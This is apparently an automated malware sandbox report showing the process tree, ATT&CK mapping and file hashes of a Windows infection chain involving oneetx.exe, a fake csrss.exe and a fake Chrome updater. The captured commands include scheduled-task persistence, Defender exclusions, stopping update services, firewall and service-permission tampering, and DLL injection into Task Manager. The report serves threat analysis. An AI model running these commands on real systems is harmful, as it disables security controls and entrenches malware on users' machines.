PID 4672 wrote to memory of 1632	4672	cmd.exe	126
PID 4672 wrote to memory of 1632	4672	cmd.exe	126

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3252
- C:\Users\Admin\AppData\Local\Temp\file.exe
  "C:\Users\Admin\AppData\Local\Temp\file.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4352
- - C:\Users\Admin\AppData\Local\Temp\d0ccc283.exe
    "C:\Users\Admin\AppData\Local\Temp\d0ccc283.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    PID:3880
- - C:\Users\Admin\AppData\Local\Temp\newplayer.exe
    "C:\Users\Admin\AppData\Local\Temp\newplayer.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4804
  - - C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
      "C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:5084
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe" /F
        5⤵
        Creates scheduled task(s)
        
        PID:3464
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "oneetx.exe" /P "Admin:N"&&CACLS "oneetx.exe" /P "Admin:R" /E&&echo Y|CACLS "..\207aa4515d" /P "Admin:N"&&CACLS "..\207aa4515d" /P "Admin:R" /E&&Exit
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4276
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:3948
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "oneetx.exe" /P "Admin:N"
        6⤵
        
        PID:2628
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "oneetx.exe" /P "Admin:R" /E
        6⤵
        
        PID:4672
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:1148
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\207aa4515d" /P "Admin:N"
        6⤵
        
        PID:3304
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\207aa4515d" /P "Admin:R" /E
        6⤵
        
        PID:3872
    - - C:\Users\Admin\AppData\Local\Temp\1000288001\toolspub2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000288001\toolspub2.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:3912
      - C:\Users\Admin\AppData\Local\Temp\1000288001\toolspub2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000288001\toolspub2.exe"
        6⤵
        Executes dropped EXE
        
        PID:1556
    - - C:\Users\Admin\AppData\Local\Temp\1000289001\31839b57a4f11171d6abc8bbc4451ee4.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000289001\31839b57a4f11171d6abc8bbc4451ee4.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3524
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:8
      - C:\Users\Admin\AppData\Local\Temp\1000289001\31839b57a4f11171d6abc8bbc4451ee4.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000289001\31839b57a4f11171d6abc8bbc4451ee4.exe"
        6⤵
        Executes dropped EXE
        Adds Run key to start application
        Checks for VirtualBox DLLs, possible anti-VM trick
        Drops file in Windows directory
        Modifies data under HKEY_USERS
        
        PID:400
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        7⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:2732
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        7⤵
        
        PID:4608
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        8⤵
        Modifies Windows Firewall
        
        PID:4524
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        7⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:728
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        7⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:4852
        
        C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe
        7⤵
        Executes dropped EXE
        Adds Run key to start application
        Manipulates WinMonFS driver.
        Drops file in Windows directory
        
        PID:4652
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        8⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:4804
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        8⤵
        Creates scheduled task(s)
        
        PID:3492
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /delete /tn ScheduledUpdate /f
        8⤵
        
        PID:716
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        8⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:3244
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        8⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:2172
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
        8⤵
        Executes dropped EXE
        
        PID:532
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        8⤵
        Creates scheduled task(s)
        
        PID:4348
        
        C:\Windows\windefender.exe
        
        "C:\Windows\windefender.exe"
        8⤵
        Executes dropped EXE
        
        PID:3304
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        9⤵
        
        PID:1372
        
        C:\Windows\SysWOW64\sc.exe
        
        sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        10⤵
        Launches sc.exe
        
        PID:2844
        
        C:\Users\Admin\AppData\Local\Temp\csrss\f801950a962ddba14caaa44bf084b55c.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\f801950a962ddba14caaa44bf084b55c.exe
        8⤵
        Executes dropped EXE
        
        PID:5068
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /delete /tn "csrss" /f
        9⤵
        
        PID:4724
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /delete /tn "ScheduledUpdate" /f
        9⤵
        
        PID:5024
    - - C:\Users\Admin\AppData\Local\Temp\1000290001\latestX.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000290001\latestX.exe"
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Drops file in Drivers directory
        Executes dropped EXE
        Drops file in Program Files directory
        
        PID:4328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4284
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2700
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:3212
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:4652
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:4736
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:3948
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:2628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1264
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4672
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4276
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1632
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1900
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4660
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:3628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:2732
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:2772
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:2408
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:2456
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:4424
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:3720
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:1176
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:1736
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:380
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:4984
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:3336
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:3760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:4024
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe
  2⤵
  PID:2928
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe
  2⤵
  PID:800

C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
1⤵
- Executes dropped EXE
PID:3912

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
PID:4064

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:2448

C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
1⤵
- Executes dropped EXE
PID:4332

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
5.6MB

MD5
bae29e49e8190bfbbf0d77ffab8de59d

SHA1
4a6352bb47c7e1666a60c76f9b17ca4707872bd9

SHA256
f91e4ff7811a5848561463d970c51870c9299a80117a89fb86a698b9f727de87

SHA512
9e6cf6519e21143f9b570a878a5ca1bba376256217c34ab676e8d632611d468f277a0d6f946ab8705121002d96a89274f38458affe3df3a3a1c75e336d7d66e2

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
5.6MB

MD5
bae29e49e8190bfbbf0d77ffab8de59d

SHA1
4a6352bb47c7e1666a60c76f9b17ca4707872bd9

SHA256
f91e4ff7811a5848561463d970c51870c9299a80117a89fb86a698b9f727de87

SHA512
9e6cf6519e21143f9b570a878a5ca1bba376256217c34ab676e8d632611d468f277a0d6f946ab8705121002d96a89274f38458affe3df3a3a1c75e336d7d66e2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
2e907f77659a6601fcc408274894da2e

SHA1
9f5b72abef1cd7145bf37547cdb1b9254b4efe9d

SHA256
385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233

SHA512
34fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000288001\toolspub2.exe

Filesize
293KB

MD5
d3d867c6722255ebcbc51a11a3a39347

SHA1
6c4779e317aa06782bd634a3175c2e2884510f6d

SHA256
10d5acaf335351c394065caea772a79d686fab672649cb94315342fe0a9e4df4

SHA512
ecfa6b5d76e90c936d8a89e0f3d9bbaf3c9d63aabb77a920ff94e5d376c494ce9b616c77bf9d9b009d32e5cf7533a342008cc20a5fdc76e1a91cb37eee876ebd

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000288001\toolspub2.exe

Filesize
293KB

MD5
d3d867c6722255ebcbc51a11a3a39347

SHA1
6c4779e317aa06782bd634a3175c2e2884510f6d

SHA256
10d5acaf335351c394065caea772a79d686fab672649cb94315342fe0a9e4df4

SHA512
ecfa6b5d76e90c936d8a89e0f3d9bbaf3c9d63aabb77a920ff94e5d376c494ce9b616c77bf9d9b009d32e5cf7533a342008cc20a5fdc76e1a91cb37eee876ebd

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000288001\toolspub2.exe

Filesize
293KB

MD5
d3d867c6722255ebcbc51a11a3a39347

SHA1
6c4779e317aa06782bd634a3175c2e2884510f6d

SHA256
10d5acaf335351c394065caea772a79d686fab672649cb94315342fe0a9e4df4

SHA512
ecfa6b5d76e90c936d8a89e0f3d9bbaf3c9d63aabb77a920ff94e5d376c494ce9b616c77bf9d9b009d32e5cf7533a342008cc20a5fdc76e1a91cb37eee876ebd

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000288001\toolspub2.exe

Filesize
293KB

MD5
d3d867c6722255ebcbc51a11a3a39347

SHA1
6c4779e317aa06782bd634a3175c2e2884510f6d

SHA256
10d5acaf335351c394065caea772a79d686fab672649cb94315342fe0a9e4df4

SHA512
ecfa6b5d76e90c936d8a89e0f3d9bbaf3c9d63aabb77a920ff94e5d376c494ce9b616c77bf9d9b009d32e5cf7533a342008cc20a5fdc76e1a91cb37eee876ebd

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000289001\31839b57a4f11171d6abc8bbc4451ee4.exe

Filesize
4.2MB

MD5
43571c105447cc17a14daa158ec4389a

SHA1
a23e7044033e3ebb349c1d194a53df0c0c058a2d

SHA256
3c3765a39069b1f6dbcaafb23721a289df7c3e1b540e2de3c76facb867bba7df

SHA512
a66bf5e5bd751eccbeb0089453e0cd9f2ded8a1224546421fcfd6fcf4b54d755f97b69850036c54b870ea7a8b98d2f3a35d8a2ae37e71eceef6c6d16cb900b2c

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000289001\31839b57a4f11171d6abc8bbc4451ee4.exe

Filesize
4.2MB

MD5
43571c105447cc17a14daa158ec4389a

SHA1
a23e7044033e3ebb349c1d194a53df0c0c058a2d

SHA256
3c3765a39069b1f6dbcaafb23721a289df7c3e1b540e2de3c76facb867bba7df

SHA512
a66bf5e5bd751eccbeb0089453e0cd9f2ded8a1224546421fcfd6fcf4b54d755f97b69850036c54b870ea7a8b98d2f3a35d8a2ae37e71eceef6c6d16cb900b2c

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000289001\31839b57a4f11171d6abc8bbc4451ee4.exe

Filesize
4.2MB

MD5
43571c105447cc17a14daa158ec4389a

SHA1
a23e7044033e3ebb349c1d194a53df0c0c058a2d

SHA256
3c3765a39069b1f6dbcaafb23721a289df7c3e1b540e2de3c76facb867bba7df

SHA512
a66bf5e5bd751eccbeb0089453e0cd9f2ded8a1224546421fcfd6fcf4b54d755f97b69850036c54b870ea7a8b98d2f3a35d8a2ae37e71eceef6c6d16cb900b2c

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000289001\31839b57a4f11171d6abc8bbc4451ee4.exe

Filesize
4.2MB

MD5
43571c105447cc17a14daa158ec4389a

SHA1
a23e7044033e3ebb349c1d194a53df0c0c058a2d

SHA256
3c3765a39069b1f6dbcaafb23721a289df7c3e1b540e2de3c76facb867bba7df

SHA512
a66bf5e5bd751eccbeb0089453e0cd9f2ded8a1224546421fcfd6fcf4b54d755f97b69850036c54b870ea7a8b98d2f3a35d8a2ae37e71eceef6c6d16cb900b2c

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000290001\latestX.exe

Filesize
5.6MB

MD5
bae29e49e8190bfbbf0d77ffab8de59d

SHA1
4a6352bb47c7e1666a60c76f9b17ca4707872bd9

SHA256
f91e4ff7811a5848561463d970c51870c9299a80117a89fb86a698b9f727de87

SHA512
9e6cf6519e21143f9b570a878a5ca1bba376256217c34ab676e8d632611d468f277a0d6f946ab8705121002d96a89274f38458affe3df3a3a1c75e336d7d66e2

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000290001\latestX.exe

Filesize
5.6MB

MD5
bae29e49e8190bfbbf0d77ffab8de59d

SHA1
4a6352bb47c7e1666a60c76f9b17ca4707872bd9

SHA256
f91e4ff7811a5848561463d970c51870c9299a80117a89fb86a698b9f727de87

SHA512
9e6cf6519e21143f9b570a878a5ca1bba376256217c34ab676e8d632611d468f277a0d6f946ab8705121002d96a89274f38458affe3df3a3a1c75e336d7d66e2

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000290001\latestX.exe

Filesize
5.6MB

MD5
bae29e49e8190bfbbf0d77ffab8de59d

SHA1
4a6352bb47c7e1666a60c76f9b17ca4707872bd9

SHA256
f91e4ff7811a5848561463d970c51870c9299a80117a89fb86a698b9f727de87

SHA512
9e6cf6519e21143f9b570a878a5ca1bba376256217c34ab676e8d632611d468f277a0d6f946ab8705121002d96a89274f38458affe3df3a3a1c75e336d7d66e2

Download Submit
C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe

Filesize
198KB

MD5
f0033521f40c06dec473854c7d98fa8b

SHA1
28dadfe642a0c308e1f744b0d87a6d22dd6cd55a

SHA256
4458a9df5275bedd921127f4ff9dc63d4ac107f2e89cf46969e96f4c43d9f93e

SHA512
f6758814fd20b613fe6f3df7a0a60488dcae59680c3487344a701f59dca972acbb1dd8041bd3fa8d3f97279193796dab9c7f98f1cab3e25686ca34c65e349217

Download Submit
C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe

Filesize
198KB

MD5
f0033521f40c06dec473854c7d98fa8b

SHA1
28dadfe642a0c308e1f744b0d87a6d22dd6cd55a

SHA256
4458a9df5275bedd921127f4ff9dc63d4ac107f2e89cf46969e96f4c43d9f93e

SHA512
f6758814fd20b613fe6f3df7a0a60488dcae59680c3487344a701f59dca972acbb1dd8041bd3fa8d3f97279193796dab9c7f98f1cab3e25686ca34c65e349217

Download Submit
C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe

Filesize
198KB

MD5
f0033521f40c06dec473854c7d98fa8b

SHA1
28dadfe642a0c308e1f744b0d87a6d22dd6cd55a

SHA256
4458a9df5275bedd921127f4ff9dc63d4ac107f2e89cf46969e96f4c43d9f93e

SHA512
f6758814fd20b613fe6f3df7a0a60488dcae59680c3487344a701f59dca972acbb1dd8041bd3fa8d3f97279193796dab9c7f98f1cab3e25686ca34c65e349217

Download Submit
C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe

Filesize
198KB

MD5
f0033521f40c06dec473854c7d98fa8b

SHA1
28dadfe642a0c308e1f744b0d87a6d22dd6cd55a

SHA256
4458a9df5275bedd921127f4ff9dc63d4ac107f2e89cf46969e96f4c43d9f93e

SHA512
f6758814fd20b613fe6f3df7a0a60488dcae59680c3487344a701f59dca972acbb1dd8041bd3fa8d3f97279193796dab9c7f98f1cab3e25686ca34c65e349217

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m1nalnzl.51m.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\f801950a962ddba14caaa44bf084b55c.exe

Filesize
3.2MB

MD5
f801950a962ddba14caaa44bf084b55c

SHA1
7cadc9076121297428442785536ba0df2d4ae996

SHA256
c3946ec89e15b24b743c46f9acacb58cff47da63f3ce2799d71ed90496b8891f

SHA512
4183bc76bdc84fb779e2e573d9a63d7de47096b63b945f9e335bee95ae28eb208f5ee15f6501ac59623b97c5b77f3455ca313512e7d9803e1704ae22a52459c5

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\f801950a962ddba14caaa44bf084b55c.exe

Filesize
3.2MB

MD5
f801950a962ddba14caaa44bf084b55c

SHA1
7cadc9076121297428442785536ba0df2d4ae996

SHA256
c3946ec89e15b24b743c46f9acacb58cff47da63f3ce2799d71ed90496b8891f

SHA512
4183bc76bdc84fb779e2e573d9a63d7de47096b63b945f9e335bee95ae28eb208f5ee15f6501ac59623b97c5b77f3455ca313512e7d9803e1704ae22a52459c5

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll

Filesize
99KB

MD5
09031a062610d77d685c9934318b4170

SHA1
880f744184e7774f3d14c1bb857e21cc7fe89a6d

SHA256
778bd69af403df3c4e074c31b3850d71bf0e64524bea4272a802ca9520b379dd

SHA512
9a276e1f0f55d35f2bf38eb093464f7065bdd30a660e6d1c62eed5e76d1fb2201567b89d9ae65d2d89dc99b142159e36fb73be8d5e08252a975d50544a7cda27

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe

Filesize
281KB

MD5
d98e33b66343e7c96158444127a117f6

SHA1
bb716c5509a2bf345c6c1152f6e3e1452d39d50d

SHA256
5de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1

SHA512
705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe

Filesize
281KB

MD5
d98e33b66343e7c96158444127a117f6

SHA1
bb716c5509a2bf345c6c1152f6e3e1452d39d50d

SHA256
5de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1

SHA512
705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5

Download Submit
C:\Users\Admin\AppData\Local\Temp\d0ccc283.exe

Filesize
294KB

MD5
385253082416393966614add3b0fb723

SHA1
ab04c1e4b41f3816eacb938dd34ed2854fd3f55c

SHA256
58ecdcd07cfa7135d523563622fb8df53b320d0431fd30ac498c4336c4b93d7b

SHA512
adc508e946ab806acd6d92f67fb11c1400de67e131eb4907440e059f0a6db389fa66fe040af4c1c8493dedb0fdab2c1113a73ebb49687ac1686961dfa03c5ca9

Download Submit
C:\Users\Admin\AppData\Local\Temp\d0ccc283.exe

Filesize
294KB

MD5
385253082416393966614add3b0fb723

SHA1
ab04c1e4b41f3816eacb938dd34ed2854fd3f55c

SHA256
58ecdcd07cfa7135d523563622fb8df53b320d0431fd30ac498c4336c4b93d7b

SHA512
adc508e946ab806acd6d92f67fb11c1400de67e131eb4907440e059f0a6db389fa66fe040af4c1c8493dedb0fdab2c1113a73ebb49687ac1686961dfa03c5ca9

Download Submit
C:\Users\Admin\AppData\Local\Temp\d0ccc283.exe

Filesize
294KB

MD5
385253082416393966614add3b0fb723

SHA1
ab04c1e4b41f3816eacb938dd34ed2854fd3f55c

SHA256
58ecdcd07cfa7135d523563622fb8df53b320d0431fd30ac498c4336c4b93d7b

SHA512
adc508e946ab806acd6d92f67fb11c1400de67e131eb4907440e059f0a6db389fa66fe040af4c1c8493dedb0fdab2c1113a73ebb49687ac1686961dfa03c5ca9

